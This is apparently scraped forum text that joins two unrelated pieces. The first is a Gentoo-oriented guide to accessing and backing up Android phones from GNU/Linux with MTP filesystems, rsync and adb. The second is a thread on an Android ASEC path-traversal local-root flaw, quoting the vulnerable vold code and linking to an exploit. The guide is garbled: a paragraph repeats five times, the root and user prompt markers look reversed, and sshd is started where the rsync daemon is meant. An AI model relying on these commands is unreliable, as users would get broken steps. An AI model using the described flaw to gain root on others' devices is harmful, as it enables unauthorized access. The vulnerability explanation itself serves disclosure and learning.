To illustrate that difference, on GNU/Linux, you can copy, move, modify or delete any file, the only condition for that is to have the corresponding access rights. As root, you can do whatever you want on the whole file hierarchy.. On Android, you cannot do that, because the device comes with built-in protections that can save your device if you make a wrong manipulation, but get in your way when you want to make a backup or restore it..
To make things worst on GNU/Linux, even if Android is reasonably well supported, the actual Android support of your installation will depend on your distribution, your WM/Desktop and what software is actually installed.
My distribution is Gentoo, my desktop FVWM-Crystal. That imply I will use generic solutions that should work in any combination of distribution/desktop. The way to install the software will differ, the main difference being that Gentoo use 'emerge' to install the software, when Debian use 'apt' and the rpm based distributions use 'rpm' (or Yast in Suse, etc.).
Note: The command that must be issued as root will be prefixed by '$ ', the command that must be issued as your normal user will be prefixed with '# '.
Android
The most important thing to understand is:
To make a full backup of an Android device, it must be rooted or have a Recovery mode with backup
That imply you must first unlock your phone and install a Recovery.
To make a full backup of an Android device, it must be rooted or have a Recovery mode with backup
That imply you must first unlock your phone and install a Recovery.
To make a full backup of an Android device, it must be rooted or have a Recovery mode with backup
That imply you must first unlock your phone and install a Recovery.
To make a full backup of an Android device, it must be rooted or have a Recovery mode with backup
That imply you must first unlock your phone and install a Recovery.
To make a full backup of an Android device, it must be rooted or have a Recovery mode with backup
That imply you must first unlock your phone and install a Recovery.
To be able to root your device, you must have a Recovery, which imply the device must be first unlocked.
As long your device is not unlocked and don't have a Recovery, what you will be able to backup is device dependent. It can vary from nothing to not much.
When you understand that, you can begun to work in an efficient manner.
MTP
Most recent Android devices use MTP to communicate via the USB bus. MTP mean Media Transport Protocol. What a given device will provide via MTP is device dependent. It will also vary if it is locked or not, and if it is rooted or not.
Android on GNU/Linux
It is 3 ways to communicate via MTP. The first one is using mtpfs, the second one via rsync, the third one via adb.
mtpfs
We will not use plain mtpfs, because it give unreliable results. Instead, it is several other tools that have a much better MTP support, and we will use them.
On Gentoo, it is a global USE flag 'mtp' that will enable MTP support in all programs that have optional MTP support. It is a good thing to add it in /etc/portage/make.conf and update your system as usual before continuing.
Also, for mtpfs to work, as with other pluggable devices, we need to be into the plugdev group:
To check it:
Code:
# groups
wheel audio cdrom video games usb users portage android vboxusers roccat plugdev dom
If you are not into the plugdev group:
Code:
$ gpasswd -a YOUR_USER plugdev
You can now logout and login.
KDE
kio-mtp is a slave for KDE's KIO framework. After installing it, your MTP devices appear e.g. in Dolphin. You may have to logout and login.
Gnome
I don't use Gnome at all (no systemd, *kit, udisks and the like here, which imply a Gnome free system ). See XFCE as Gnome use gvfs, it should work with Nautilus too.
XFCE
PcManFM support MTP via gvfs. If it doesn't work, check your distribution documentation. On Gentoo, to have mtp as global USE flag will add MTP support in gvfs. Alternatively, you can add it for gnome-base/gvfs in /etc/portage/package.use. This should work for Thunar too.
On Debian, it is a package called gvfs-mtp.
gMTP
gMTP is a simple MTP client for Solaris and Linux based on GTK+.
After its installation, launch it, click on connect. A few seconds later, you will get the file hierarchy of your device. You can start to manipulate the files. It support features like Album, Artwork and play lists. The actual support of a given feature can depend on your device and on the libmtp version.
Media players
Many media players have built-in or optional MTP support. Those players include Amarok, Audacious, Rhythmbox and others. MTP support on these players can vary, as example with Audacious it depend on plain mtpfs and is completely buggy at that time of writing (April 2014). On the other hand, if you use another MTP file system implementation like gphotofs, simple-mtpfs or go-mtpfs, you can use any GNU/Linux software with your MTP devices.
gphotofs
gphotofs is a FUSE file system for interfacing with digital cameras using gphoto2. Most modern mobile phones are cameras at the same time, and gphotofs can be a good alternative to simple-mtpfs or go-mtpfs. gphotofs is used among other by professional cameras and is therefore very well tested and reliable.
You can also install software like gtkam, and your MTP device will appear automatically into them. That can be very useful if you take a lot of pictures with your phone.
After installation, to mount the device:
Code:
# mkdir ~/AndroidDevice
# gphotofs ~/AndroidDevice -o allow_other
To unmount the device:
Code:
# fusermount -u ~/AndroidDevice
I really prefer to manually mount the device. When done, you can use any file manager to browse its files, and any graphic or media software as well. Please be aware that, due to limitation with the MTP protocol (it can only deal with complete files), it is better to copy your files locally and to work on these copies.
simple-mtpfs
It work the same than gphotofs.
After installation, to mount the device:
Code:
# mkdir ~/AndroidDevice
# simple-mtpfs ~/AndroidDevice
To unmount the device:
Code:
# fusermount -u ~/AndroidDevice
go-mtpfs
Another MTP FUSE implementation.
On Gentoo, we need to unmask 2 packages in /etc/portage/package.keywords:
Code:
dev-libs/go-fuse **
sys-fs/go-mtpfs **
That will install these 2 packages directly from their source code repositories:
Code:
$ emerge --ask go-mtpfs
As usual, to mount the device:
Code:
# mkdir ~/AndroidDevice
# go-mtpfs ~/AndroidDevice &
To unmount the device:
Code:
# fusermount -u ~/AndroidDevice
rsync
rsync is a software mainly used to make professional backups and restores, or to synchronize websites. The main advantage of rsync is that it is possible with it to automatize the process of backup and restoration.
To use it, you need to install rsync.
Code:
$ emerge --ask rsync
In /etc/rsyncd.conf:
Code:
# /etc/rsyncd.conf
# Minimal configuration file for rsync daemon
# See rsync(1) and rsyncd.conf(5) man pages for help
# This line is required by the /etc/init.d/rsyncd script
pid file = /var/run/rsyncd.pid
use chroot = yes
read only = yes
# Simple example for enabling your own local rsync server
#[gentoo-portage]
# path = /usr/portage
# comment = Gentoo Portage tree
# exclude = /distfiles /packages
[backup]
path = /home/dom/rsync
list = yes
comment = personnal backup
hosts allow = 192.168.178.*
The exact content of that file may be dependent on your distribution. You also have to adapt the variables 'path' and 'host allow' to your actual configuration. rsync will not use the USB but your WAN network (typically the wi-fi). In that example, the backup will be find in /home/dom/rsync and all the devices on your local home network will be allowed to access it via rsync. For testing purpose, you can comment the hosts allow line, this will allow any host.
When done:
Code:
$ /etc/init.d/sshd start
We also need to install rsync backup for Android by Michal Kowalczuk in the phone.
TODO: continue the rsync setup to the end and put some examples.
adb.
ADB mean mean Android Debug Bridge, and it is a part of the Android Software Development Kit (SDK). We will need it anyway to flash the Android devices.
To install it on Gentoo:
Code:
$ emerge --ask android-sdk-update-manager
This will install just an infrastructure. To actually install, manage and update the Android SDK, just run:
Code:
$ android
.
As emerge modify the PATH environmental variable, that for the Android SDK to work well, the best thing to do at that point is to reboot your computer. It doesn't append often on GNU/Linux, but that time it is best to do so.
On other distribution, if it doesn't provide a package to install it, you have to download the SDK from Get the Android SDK. It is several threads on the forum that deal with that:
[GUIDE/Linux] Install Android SDK the "Linux way"
[APP] Linux-on-Android project (Complete Linux Installer) (more for developers this one)
Now, we are ready to play with our phone.:good:
Operations on files
To be able to play with the files in your phone, you don't need to install all the above packages. The one that is really needed is adb. After that, all depend of what you want to do and what kind of integration you want into your GNU/Linux system.
Anyway, it is cool to be able to play with the phone with any file manager. This is why I would recommend to also install one of gphotofs, simple-mtpfs or go-mtpfs. If you also have a MTP camera, go for gphotofs, you will need it anyway. From my short experience, simple console based solution like gphotofs are more reliable than GUI solution (with the notable exception of gMTP and gphoto2 GUI like gtkam), and after mounting they allow the use of any file manager, player, etc.
Where we are now, what files you will be able to see and to operate on will depend on your device. We are not even unlocked.
If you still not believe me, read that: Solution Available for 4.x Devices: This solution will not back up and restore contact, SMS or calendar information
With my HTC One, I can copy the content of the whole sdcard. Most interesting are the Download, Movies, Music and DCIM folders.
It is just to plug the phone on the USB, mount it as explained above, and use any file manager to copy the files. We can also copy new files into the phone.
This must be enough to get you started. From here, you may want to continue with something like [Tutorial] Root, Unlock, Recovery and flashing a Custom ROM . Choose the one that correspond to your device.
If you want to start developing for Android, you may be interested by [GUIDE][WIN/LINUX] A COMPLETE ANDROID DEVELOPMENT GUIDE FOR NEWBIES-SArnab©®.
Changing this to a learning question.
How did Samsung or other vendors fix this vulnerability?
It's not as simple as formating the SD card and running a specially formatted apk?
Thanks for any information.
http://blog.cassidiancybersecurity.com/post/2014/06/Android-4.4.3,-or-fixing-an-old-local-root
Quote from their site:
"The vulnerability here is rather obvious: there is no check on the "id" variable, which is the name given by the user to its ASEC container. It is therefore possible to perform a basic path traversal, to create the ASEC file and its mount point in a different directory than expected, as for example one the "attacker" can write into.
The following code is then responsible for the creation of the mount point:
Code:
if (mkdir(mountPoint, 0000)) {
if (errno != EEXIST) {
SLOGE("Mountpoint creation failed (%s)", strerror(errno));
if (cleanupDm) {
Devmapper::destroy(idHash);
}
Loop::destroyByDevice(loopDevice);
unlink(asecFileName);
return -1;
}
}
[...]
mountStatus = xxx::doMount(dmDevice, mountPoint, false,
false, false, ownerUid, 0, 0000, false);
This means that if the mount point already exists, no error is raised, and the container is correctly mounted in "mountPoint". Guess what? If "mountPoint" already exists AND is a symlink to an existing directory, the ASEC container will be mounted over this directory. And the user will have full access to it, allowing him to write new files inside.
There are many ways of exploiting this vulnerability to gain root privileges.
Last detail about this vulnerability: it requires permissions to create ASEC containers. The "shell" user, as used by adb, has the requiered privileges. For the vulnerability to be exploited from an application, it needs the ASEC_* permissions (such as ASEC_CREATE)."
It has been patched.
designgears said:
It has been patched.
Click to expand...
Click to collapse
[emoji115]this guy! is watching the threads secretly and I believe he is/has been doing some work
from my locked note 3!
I think he knows it's patched but wants to know how it was patched so he can learn a bit.
Sent from my SM-G900V using XDA Premium 4 mobile app
The code for the actual fix is in the linked blog post. It doesn't allow directory names starting with .. or /, eliminating the ability to turn "/mnt/asec/mydirectory" into something like "/mnt/asec/../../system/xbin". In Linux , .. means go up a directory so that would translate to "/system/xbin".
Many distributions of Android have their own patchsets that are released before the official ones from Google. I'm not sure when Samsung introduced it into their release of Android, but it's definitely in the last released version which is why we can't use this for root.
This is the vulnerability I used in the videos i posted a few months back for Moto X, and reported to Google (it is exploitable on some devices without user interaction, rouge apps can use it on some devices to do bad things without the user knowing).
Google provides security fixes to OEMs with a minimum 90day embargo, OEMs have the fixes at least 90 days before the fixes end up on AOSP. In addition, it was already mitigated by SEAndroid policies on many devices, including Note 3, S4, and S5. So it was useless for those devices already.
It is also patched on s5, and newer note3 and S4 firmware.
It was patched by sanitizing the path, checking for traversal and failing if detected.
For an actual implementation of this (that I published after the blog you linked to detailed the vulnerability), see my exploit here http://forum.xda-developers.com/moto-x/orig-development/root-4-4-x-pie-motorola-devices-t2771623
Phonegasm said:
Changing this to a learning question.
How did Samsung or other vendors fix this vulnerability?
It's not as simple as formating the SD card and running a specially formatted apk?
Thanks for any information.
http://blog.cassidiancybersecurity.com/post/2014/06/Android-4.4.3,-or-fixing-an-old-local-root
Quote from their site:
"The vulnerability here is rather obvious: there is no check on the "id" variable, which is the name given by the user to its ASEC container. It is therefore possible to perform a basic path traversal, to create the ASEC file and its mount point in a different directory than expected, as for example one the "attacker" can write into.
The following code is then responsible for the creation of the mount point:
Code:
if (mkdir(mountPoint, 0000)) {
if (errno != EEXIST) {
SLOGE("Mountpoint creation failed (%s)", strerror(errno));
if (cleanupDm) {
Devmapper::destroy(idHash);
}
Loop::destroyByDevice(loopDevice);
unlink(asecFileName);
return -1;
}
}
[...]
mountStatus = xxx::doMount(dmDevice, mountPoint, false,
false, false, ownerUid, 0, 0000, false);
This means that if the mount point already exists, no error is raised, and the container is correctly mounted in "mountPoint". Guess what? If "mountPoint" already exists AND is a symlink to an existing directory, the ASEC container will be mounted over this directory. And the user will have full access to it, allowing him to write new files inside.
There are many ways of exploiting this vulnerability to gain root privileges.
Last detail about this vulnerability: it requires permissions to create ASEC containers. The "shell" user, as used by adb, has the requiered privileges. For the vulnerability to be exploited from an application, it needs the ASEC_* permissions (such as ASEC_CREATE)."
Click to expand...
Click to collapse